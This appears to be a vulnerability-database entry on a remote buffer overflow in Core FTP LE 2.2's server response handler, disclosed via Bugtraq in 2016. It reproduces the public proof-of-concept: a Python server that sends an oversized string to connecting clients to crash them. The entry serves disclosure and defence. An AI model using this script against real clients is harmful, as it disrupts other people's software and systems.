Summaryinfo

A vulnerability described as critical has been identified in Core FTP LE 2.2. This affects an unknown part of the component Server Response Handler. Such manipulation leads to memory corruption. The attack may be launched remotely. Furthermore, there is an exploit available.

Detailsinfo

A vulnerability, which was classified as critical, has been found in Core FTP LE 2.2. Affected by this issue is an unknown code block of the component Server Response Handler. The manipulation with an unknown input leads to a memory corruption vulnerability. Using CWE to declare the problem leads to CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. Impacted is confidentiality, integrity, and availability.

The weakness was shared 11/27/2016 by John Page (hyp3rlinx) as Core FTP LE v2.2 Remote SSH/SFTP Buffer Overflow as not defined mailinglist post (Bugtraq). The advisory is available at seclists.org. The attack may be launched remotely. No form of authentication is required for exploitation. Technical details are unknown but a public exploit is available.

A public exploit has been developed by John Page and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The code used by the exploit is:

import socket

print 'hyp3rlinx - Apparition Security'
print 'Core FTP SSH/SFTP Remote Buffer Overflow / DOS\r\n'
host='127.0.0.1'

port = 22  
s = socket.socket()

payload="A"*77500
s.bind((host, port))            
s.listen(5)                    
 
print 'Listening on port... %i' %port
print 'Connect to me!'
 
while True:
    conn, addr = s.accept()
    conn.send(payload+'\r\n')
    conn.close()

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

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Productinfo

Name

• Core FTP LE

Version

• 2.2

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

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Entryinfo

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